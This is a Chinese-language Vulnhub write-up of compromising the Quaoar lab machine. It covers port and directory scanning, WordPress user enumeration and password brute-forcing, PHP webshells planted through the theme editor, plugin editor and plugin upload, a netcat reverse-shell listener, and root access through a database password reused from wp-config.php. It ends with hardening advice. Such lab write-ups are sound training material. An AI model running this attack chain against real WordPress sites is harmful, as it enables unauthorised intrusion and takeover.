Quaoar 靶机渗透测试（Vulnhub Writeup）-北京尧图网络

Quaoar 靶机渗透测试Vulnhub Writeup一、靶机与环境介绍本次实战目标为 Vulnhub 平台的 Quaoar 靶机靶机名取自柯伊伯带天体。该靶机同时开放 Web、DNS、邮件POP3/IMAP与 SMB 等多类服务核心路径为 WordPress 弱口令登录后通过后台写入 WebShell再利用配置文件密码复用提权至 root沿途收集三个 flag。攻击机为 Kali Linux192.168.153.162靶机地址经扫描确认为 192.168.153.168。二、信息收集一存活主机扫描┌──(root㉿kali)-[~] └─# arp-scan -l Interface: eth0, type: EN10MB, MAC: 00:0c:29:d8:01:18, IPv4: 192.168.153.162 192.168.153.168 00:0c:29:ea:83:7d VMware, Inc.二端口扫描全端口扫描发现 9 个开放端口22SSH、53DNS、80HTTP、110/995POP3/POP3S、139/445SMB、143/993IMAP/IMAPS是一台典型的集成 Web、邮件与 SMB 服务的 Ubuntu 主机。┌──(root㉿kali)-[~] └─# nmap -p- 192.168.153.168 PORT STATE SERVICE 22/tcp open ssh 53/tcp open domain 80/tcp open http 110/tcp open pop3 139/tcp open netbios-ssn 143/tcp open imap 445/tcp open microsoft-ds 993/tcp open imaps 995/tcp open pop3s┌──(root㉿kali)-[~] └─# nmap -p22,53,80,110,139,143,445,993,995 192.168.153.168 -sV -sC -O PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0) 53/tcp open domain ISC BIND 9.8.1-P1 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-robots.txt: 1 disallowed entry |_Hackers 110/tcp open pop3 Dovecot pop3d 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 143/tcp open imap Dovecot imapd 445/tcp open netbios-ssn Samba smbd 3.6.3 (workgroup: WORKGROUP) 993/tcp open ssl/imap Dovecot imapd 995/tcp open ssl/pop3 Dovecot pop3d MAC Address: 00:0C:29:EA:83:7D (VMware) |_nbstat: NetBIOS name: QUAOAR, NetBIOS user: unknown三目录扫描与指纹识别使用 dirsearch 爆破 Web 目录发现 /upload/ 与 /wordpress/ 路径whatweb 识别确认 /wordpress/ 为 WordPress 3.9.14、PHP 5.3.10。┌──(root㉿kali)-[~] └─# dirsearch -u http://192.168.153.168 [19:20:42] 200 - 954B - /README.md [19:20:42] 200 - 150B - /robots.txt [19:20:48] 301 - 249B - /upload - http://192.168.153.168/upload/ [19:20:50] 200 - 1KB - /wordpress/wp-login.php [19:20:50] 200 - 2KB - /wordpress/┌──(root㉿kali)-[~] └─# whatweb http://192.168.153.168/wordpress http://192.168.153.168/wordpress/ [200 OK] Apache[2.2.22], HTML5, JQuery[1.11.0], MetaGenerator[WordPress 3.9.14], PHP[5.3.10-1ubuntu3], Title[Quaoar | Just another WordPress site], WordPress[3.9.14], x-pingback[/wordpress/xmlrpc.php]三、WordPress 登录爆破使用 wpscan 枚举用户名得到 admin、wpuser 两个账号再用 rockyou.txt 字典对 admin 进行密码爆破命中弱口令 admin/admin。┌──(root㉿kali)-[~] └─# wpscan --url http://192.168.153.168/wordpress/ -e u [] Enumerating Users (via Passive and Aggressive Methods) [] admin | Found By: Author Posts - Display Name (Passive Detection) [] wpuser | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)┌──(root㉿kali)-[~] └─# wpscan --url http://192.168.153.168/wordpress/ -U admin -P /usr/share/wordlists/rockyou.txt [] Performing password attack on Xmlrpc Multicall against 1 user/s [SUCCESS] - admin / admin [!] Valid Combinations Found: | Username: admin, Password: admin四、后台写入 WebShell 的三种方式一方式一主题编辑器登录后台后进入 Appearance → Editor → 404 Template404.php在文件开头写入 ?php system(id); ? 并保存。对照主题版本访问 /wordpress/wp-content/themes/twentyfourteen/404.php命令成功执行回显 www-data。http://192.168.153.168/wordpress/wp-content/themes/twentyfourteen/404.php二方式二插件编辑器进入 Plugins → Editor选择任意插件如 Akismet在 akismet/index.php 中写入 ?php system(whoami); ? 并保存。访问对应插件文件路径即可执行命令。http://192.168.153.168/wordpress/wp-content/plugins/akismet/index.php三方式三上传插件进入 Plugins → Add New → Upload Plugin将打包好的 WebShell 插件 zip 上传安装文件落盘路径为 /wordpress/wp-content/uploads/2026/08/test.php。访问上传后的 PHP 文件成功执行 phpinfo 等任意代码。http://192.168.153.168/wordpress/wp-content/uploads/2026/08/test.php任选一种方式拿到命令执行后本地 nc 监听 4444 端口传入反弹 Shell 命令即可上线当前权限为 www-data。┌──(root㉿kali)-[~] └─# nc -lvvp 4444 listening on [any] 4444 ... connect to [192.168.153.162] from (UNKNOWN) [192.168.153.168] 41906 www-dataQuaoar:/var/www/wordpress/wp-content/themes/twentyfourteen$ id uid33(www-data) gid33(www-data) groups33(www-data)五、收集三个 flag一flag 1普通用户家目录查看 /etc/passwd 发现 wpadmin 用户进入其家目录读取 flag.txt。www-dataQuaoar:$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash wpadmin:x:1001:1001::/home/wpadmin:/bin/sh www-dataQuaoar:$ cd /home/wpadmin www-dataQuaoar:/home/wpadmin$ ls -la -rw-r--r-- 1 wpadmin wpadmin 33 Oct 22 2016 flag.txt www-dataQuaoar:/home/wpadmin$ cat flag.txt 2bafe61f03117ac66a73c3c514de796e二flag 2cron 注释在 /etc/cron.d 目录下的 php5 文件注释中直接给出第二个 flag。www-dataQuaoar:$ cd /etc/cron.d www-dataQuaoar:/etc/cron.d$ cat php5 # /etc/cron.d/php5: crontab fragment for php5 # Its always a good idea to check for crontab to learn more about the operating system good job you get 50! - d46795f84148fd338603d0d6a9dbf8de # Look for and purge old sessions every 30 minutes 09,39 * * * * root [ -x /usr/lib/php5/maxlifetime ] ...三flag 3配置文件密码复用提权查看 WordPress 配置文件 wp-config.php发现数据库使用 root 账号连接且口令为 rootpassword!。直接尝试 su root 切换密码复用成功提权至 root 后读取 /root/flag.txt。www-dataQuaoar:/home/wpadmin$ cd /var/www/wordpress www-dataQuaoar:/var/www/wordpress$ cat wp-config.php define(DB_NAME, wordpress); define(DB_USER, root); define(DB_PASSWORD, rootpassword!); define(DB_HOST, localhost);www-dataQuaoar:/var/www/wordpress$ python -c import pty;pty.spawn(/bin/bash); www-dataQuaoar:/var/www/wordpress$ su root Password: rootpassword! rootQuaoar:/var/www/wordpress# id uid0(root) gid0(root) groups0(root) rootQuaoar:~# cat flag.txt 8e3f9ec016e3598c5eec11fd3d73f6fb六、总结Quaoar 靶机的完整攻击链如下1. 多端口扫描确认目标为集成 Web、邮件、SMB 服务的 Ubuntu 主机Web 目录暴露 WordPress 3.9.142. wpscan 枚举用户名并用 rockyou 爆破命中弱口令 admin/admin3. 后台通过主题编辑器、插件编辑器或上传插件三种方式写入 WebShell反弹 Shell 获得 www-data 权限4. 分别从 wpadmin 家目录、/etc/cron.d 注释、wp-config.php 配置中收集三个 flag5. 利用配置文件中 root 数据库口令复用 su root直接提权至最高权限。对应的安全建议① 及时升级 WordPress、PHP 与系统组件禁用后台文件编辑器与任意插件上传能力② 严禁使用 admin/admin 等弱口令配合登录失败锁定与强口令策略③ Web 应用连接数据库应使用最小权限专用账号禁止以 root 运行数据库④ 家目录、cron 配置等位置不应留存 flag 或敏感信息⑤ 对对外暴露的多类服务SMB、邮件、DNS应做最小化裁剪与访问控制。

Quaoar 靶机渗透测试（Vulnhub Writeup）

相关推荐

迪拜面向全球推出总奖金超过250万迪拉姆的“AI智能体创作大赛”

SpringBoot+Vue3+MyBatis美食网站系统开发实战

Spring Cloud Alibaba整合Gateway与Nacos：动态路由、鉴权限流实战与避坑指南

更多资讯

Codex CLI配置指南：从环境变量到代理网络的完整实战方案

KVM虚拟化深度实践：从内核原理解析到命令行实战

变电站设备缺陷检测：8307张VOC+YOLO双格式标注数据集实战

给LEGO挖掘机换一套光,居然要靠一个视频生成模型来完成

Qt+MSVC工具链配置实战：让AI生成代码在Windows下直接跑通

【单片机毕设案例分享】基于STM32的洗衣机洗涤甩干控制与状态显示系统设计基于单片机的智能洗衣机洗衣程序与预约功能实现（032801）

今日更新

小波包能量谱原理与MATLAB实现：从频带分解到故障特征提取

基于LSTM的网易云音乐评论情感分析：数据清洗与模型调优实战

Alpha-Beta剪枝与极大极小值算法：博弈树搜索原理与实战优化

本周精选

交通拥堵预测毕设：基于Python+LSTM的车辆流量预测系统全流程解析

MATLAB/Simulink搭建10机39节点电力系统暂态稳定仿真实战

无人机航拍三维重建全流程：从SfM到网格生成的避坑指南

本月热门

我发现了一个新思路：用 Remotion + Claude Code 像写代码一样自动化生成短视频

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式：TaoToken 统一 Key 配置与验证

2026 大模型集体涨价：用 Python 做企业 Token 成本测算与选型避坑（附配置）

读完文章，想聊聊您的网站？